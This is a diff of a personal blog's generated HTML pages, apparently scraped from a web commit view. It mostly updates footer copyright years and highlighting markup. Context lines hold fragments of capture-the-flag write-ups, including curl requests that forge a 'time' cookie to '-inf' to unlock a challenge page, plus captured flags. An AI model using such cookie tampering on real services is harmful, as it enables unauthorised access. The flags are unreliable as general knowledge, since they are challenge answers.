<a href=https://lavafroth.is-a.dev/post/oh-my-god-they-killed-kenny/><span>Oh my God, they killed Kenny!</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -106,4 +106,4 @@ that it only prints the flag when run.</p><hr><p>Let’s parse the response body
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ringzer0 class=list-tag>RingZer0</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web-parsing class=list-tag>Web Parsing</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/r0-i-saw-a-little-elf/><span>←</span><span>I Saw a Little Elf</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/r0-hash-me-please/><span>Hash Me Please</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/r0-hash-me-please/><span>Hash Me Please</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -148,4 +148,4 @@ we set the request off.</p><div class=highlight><pre tabindex=0 style=color:#f8f
|
||||
<a href=https://lavafroth.is-a.dev/tags/elf class=list-tag>ELF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ringzer0 class=list-tag>RingZer0</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web-parsing class=list-tag>Web Parsing</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><span>←</span><span>Treebox</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/r0-hash-me-reloaded/><span>RingZer0 CTF Hash Me Reloaded</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/r0-hash-me-reloaded/><span>RingZer0 CTF Hash Me Reloaded</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -29,4 +29,4 @@ and the script should error out with the contents of the file.</p><div class=hig
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ringzer0 class=list-tag>RingZer0</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/><span>←</span><span>Bash Jail 2</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/><span>Operation Oni, Operation Orchid</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/><span>Operation Oni, Operation Orchid</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -57,4 +57,4 @@ tab in place of the whitespace.</p><h1 id=solution>Solution</h1><p>We give the s
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ringzer0 class=list-tag>RingZer0</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/><span>←</span><span>Bash Jail 3</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/><span>Bash Jail 1</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/><span>Bash Jail 1</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -56,4 +56,4 @@ characters. One such command would be <code>tail</code> which, by default, reads
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ringzer0 class=list-tag>RingZer0</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/oh-my-god-they-killed-kenny/><span>←</span><span>Oh my God, they killed Kenny!</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/><span>Bash Jail 2</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/><span>Bash Jail 2</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -97,4 +97,4 @@ can learn from my mistakes and embrace testing slightly ahead of time. See you s
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/preventing-infinite-recursions-from-eating-your-lunch/><span>←</span><span>Preventing Infinite Recursions From Eating Your Lunch</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/modes-unbinds-and-other-ensembled-parser-patterns/><span>Modes, Unbinds and Other Ensembled Parser Patterns</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/modes-unbinds-and-other-ensembled-parser-patterns/><span>Modes, Unbinds and Other Ensembled Parser Patterns</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -68,4 +68,4 @@ of building this parser. This has been my GSoC 2024, thank you so much for readi
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><span>←</span><span>NixOS Secureboot Shenanigans</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/cuda-on-nixos-without-sacrificing-ones-sanity/><span>Painlessly setting up ML tooling on NixOS</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/cuda-on-nixos-without-sacrificing-ones-sanity/><span>Painlessly setting up ML tooling on NixOS</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -70,4 +70,4 @@ and how they can be different from regular keys. See you soon!</p></section><foo
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><span>←</span><span>Edge cases? You Shall Not Pass!</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/keep-the-keys-clackin/><span>Keep the Keys Clackin'</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/keep-the-keys-clackin/><span>Keep the Keys Clackin'</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -105,7 +105,7 @@ and stores the result in the <code>ok</code> variable.</p><div class=highlight><
|
||||
</span></span><span style=display:flex><span>ok <span style=color:#f92672>=</span> <span style=color:#a6e22e>process_bear</span>(bear);
|
||||
</span></span></code></pre></div><p>The next block only executes when <code>ok</code> is true.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>if</span> (ok) {
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
|
||||
</span></span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>Inside this block, the program for another unsigned long integer as before but calls it a volcano, running
|
||||
a check specific to this input.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#a6e22e>printf</span>(<span style=color:#e6db74>"Give me a volcano: "</span>);
|
||||
</span></span><span style=display:flex><span>volcano <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
|
||||
@@ -113,7 +113,7 @@ a check specific to this input.</p><div class=highlight><pre tabindex=0 style=co
|
||||
</span></span><span style=display:flex><span>_ok <span style=color:#f92672>=</span> <span style=color:#a6e22e>process_volcano</span>(volcano);
|
||||
</span></span></code></pre></div><p>The next conditional block executes when this <code>process_volcano</code> subroutine return true.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>if</span> (_ok) {
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
|
||||
</span></span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>The program then asks for another unsigned long integer as a proof for the <em>“volcano”</em> and the <em>“bear”</em> being the same.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#a6e22e>printf</span>(<span style=color:#e6db74>"Prove to me they are the same: "</span>);
|
||||
</span></span><span style=display:flex><span>proof <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
|
||||
</span></span><span style=display:flex><span>leet <span style=color:#f92672>=</span> <span style=color:#ae81ff>0x1337</span>;
|
||||
@@ -128,12 +128,12 @@ There’s nothing worth explaining about them in particular but you may chec
|
||||
</span></span><span style=display:flex><span>n_bear <span style=color:#f92672>=</span> <span style=color:#a6e22e>n_digits</span>(bear);
|
||||
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> (n_volcano <span style=color:#f92672>==</span> n_bear) {
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> }
|
||||
</span></span></span><span style=display:flex><span> }
|
||||
</span></span></code></pre></div><p>Our second constraint is that the sum of the digits must equal for the volcano and the bear.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span>n_volcano <span style=color:#f92672>=</span> <span style=color:#a6e22e>sum_of_digits</span>(volcano);
|
||||
</span></span><span style=display:flex><span>n_bear <span style=color:#f92672>=</span> <span style=color:#a6e22e>sum_of_digits</span>(bear);
|
||||
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> (n_volcano <span style=color:#f92672>==</span> n_bear) {
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
|
||||
</span></span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>Finally the happy ending happens when the result of a proof checking function is the same for both the numbers.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span>m_v <span style=color:#f92672>=</span> <span style=color:#a6e22e>check_proof</span>(leet,volcano,proof);
|
||||
</span></span><span style=display:flex><span>m_b <span style=color:#f92672>=</span> <span style=color:#a6e22e>check_proof</span>(leet,bear,proof);
|
||||
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> (m_v <span style=color:#f92672>==</span> m_b) {
|
||||
@@ -209,7 +209,7 @@ The code would look like the following:</p><div class=highlight><pre tabindex=0
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>&&</span> sum_and_number_of_digits(bear) <span style=color:#f92672>==</span> sum_and_number_of_digits(volcano)
|
||||
</span></span><span style=display:flex><span> {
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// do something
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> }
|
||||
</span></span></span><span style=display:flex><span> }
|
||||
</span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>Since most of the conditions are modulo congruence checks, we can use the Chinese Remainder Theorem
|
||||
to solve for the smallest number that leaves the respective remainders and begin from there.</p><p>Let <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span> be a vector of all the moduli and <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi></mrow><annotation encoding="application/x-tex">r</annotation></semantics></math></span> represent the array of the respective remainders.</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>a</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>3</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>5</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>7</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>109</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">
|
||||
@@ -316,4 +316,4 @@ amateursCTF{yep_th0se_l00k_th3_s4me_to_m3!_:clueless:}
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/remainder-theorem class=list-tag>Remainder Theorem</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><span>←</span><span>Compact XOR</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/><span>Waiting an Eternity</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/><span>Waiting an Eternity</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -54,20 +54,20 @@ welcome. please wait another eternity.
|
||||
</code></pre><p>There is another difference in the headers of the response. This time, instead of the <code>refresh</code> header, we can notice a <code>set-cookie</code> header
|
||||
with the <code>time</code> cookie set to a floating point number.</p><pre tabindex=0><code>set-cookie: time=1689655442.2456439; path=/
|
||||
</code></pre><p>Let’s try setting this <code>time</code> cookie to 0 using the <code>-b</code> flag with <code>curl</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>"https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a"</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>-b <span style=color:#e6db74>"time=0"</span>
|
||||
</span></span></span><span style=display:flex><span>-b <span style=color:#e6db74>"time=0"</span>
|
||||
</span></span></code></pre></div><p>The response tells us that we haven’t waited enough.</p><pre tabindex=0><code>you have not waited an eternity. you have only waited 1689655538.27981 seconds
|
||||
</code></pre><p>This is better than the previous message as the server thinks we have at least waited some time. Since 0 is less than the default value
|
||||
1689655442.2456439 we encountered before, let’s try supplying an even smaller number like -1000.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>"https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a"</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>-b <span style=color:#e6db74>"time=-1000"</span>
|
||||
</span></span></span><span style=display:flex><span>-b <span style=color:#e6db74>"time=-1000"</span>
|
||||
</span></span></code></pre></div><p>The response says:</p><pre tabindex=0><code>you have not waited an eternity. you have only waited 1689657530.625615 seconds
|
||||
</code></pre><p>Notice how 1689657530.625615 in the second response is greater than 1689655538.27981 from the first response.
|
||||
This implies, for smaller values supplied to the <code>time</code> cookie, the time we have waited increases.</p><p>The last piece to the puzzle is that the <code>time</code> cookie is a floating point number. According to the IEE 754 floating
|
||||
point specifications, these numbers must also be able to represent signed zeros, things that are not a number (NaN) and
|
||||
<em>signed infinities</em>. To wait an eternity, we can supply the most negative value possible, <code>-inf</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>"https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a"</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>-b <span style=color:#e6db74>"time=-inf"</span>
|
||||
</span></span></span><span style=display:flex><span>-b <span style=color:#e6db74>"time=-inf"</span>
|
||||
</span></span></code></pre></div><p>This finally gives us our flag.</p><pre tabindex=0><code>amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}
|
||||
</code></pre></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/cookies class=list-tag>Cookies</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/><span>←</span><span>Volcano</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/i-switched-to-nixos/><span>I Switched to NixOS</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/i-switched-to-nixos/><span>I Switched to NixOS</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -21,4 +21,4 @@ See you soon!</p></section><footer class=post-tags data-pagefind-meta=tags><a hr
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/a-sweet-little-config-parser/><span>←</span><span>A SWEET Little Parser</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/android-phone-for-webcam-nixos/><span>Using an Android Phone as a webcam in NixOS</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/android-phone-for-webcam-nixos/><span>Using an Android Phone as a webcam in NixOS</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user